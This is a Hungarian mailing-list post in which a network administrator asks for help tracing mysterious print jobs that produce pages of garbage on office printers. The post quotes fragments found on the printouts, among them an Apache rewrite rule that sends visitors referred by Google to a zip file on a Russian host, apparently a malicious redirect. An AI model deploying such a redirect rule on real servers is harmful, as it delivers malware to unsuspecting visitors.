nyomtató - virus?

[Zoltán Takács]

Hali!

Már kb. féléve jelentkezett a gond, hogy az egyik hálózati nyomtatónk néha
kinyomott kb. 170 oldalt úgy, hogy csak a laptetején van 1-2 sor
összevisszaság...
Mivel ezeréves JetDirct mögött volt, aminek az eléréséhez ezeréves Java
kellett volna - így képtelenség volt megnézni a log-okat. Átraktam egy
másik irodába USB-re és átvittem egy valódi hálózati nyomtatót.
Megváltoztattam az IP-jét, biztos ami tuti alapon...
Max. egy hét múlva újra jöttek az anyagok.
Persze az új gép se logolja, hogy melyik IP-ről jön a nyomatási parancs.
Csak a dokumentum nevét, amivel kb. semmire se megyek.

A kinyomtatott lapokon két értelmezhető dolgot találtam:
Első:
RewriteEngine on
RewriteCond %{HTTP_REFERER} ^(.*)GOOGLE\.(.*)
RewritRule .* http://testswork.ru/info.zip [L]

Második:
This program cannot be run in DOS mode.

Persze csináltam az összes olyan gépen virus ellenőrzést, amelyik rá volt
kötve, de semmi... alposabban is... semmi.

Hetente egy-két ilyen nyomatatás történik akkor is, ha az irodába nincs
senki, nincs is bekpacsolva egy olyan gép se, mely tudhatna erről a
nyomtatóról.
Persze ettől függetlenül még van kb. 100 gép az épületbe és van még kb. 10
hálózati nyomtató is... de csak ebben az irodában lévőn fordul elő ez az
eset.

Hogy tudnám kideríteni, hogy ki a bűnös?

(A szóban forgó nyomtató: Kyocera ECOSYS P2135dn KX, de ennek nagy
jelentősége nincs, mert a helyileg ugyanitt lévő HP 1320 is ugyanezt
csinálta egy JetDirect mögött másik IP-n).

Minden 5let jól jön!

Üdv: taki


<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail>
Mentes
a vírusoktól. www.avast.com
<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail>
<#DDB4FAA8-2DD7-40BB-A1B8-4E2AA1F9FDF2>
--------- következő rész ---------
Egy csatolt HTML állomány át lett konvertálva...
URL: <http://lista.sulinet.hu/pipermail/techinfo/attachments/20160623/5707d5b0/attachment.html>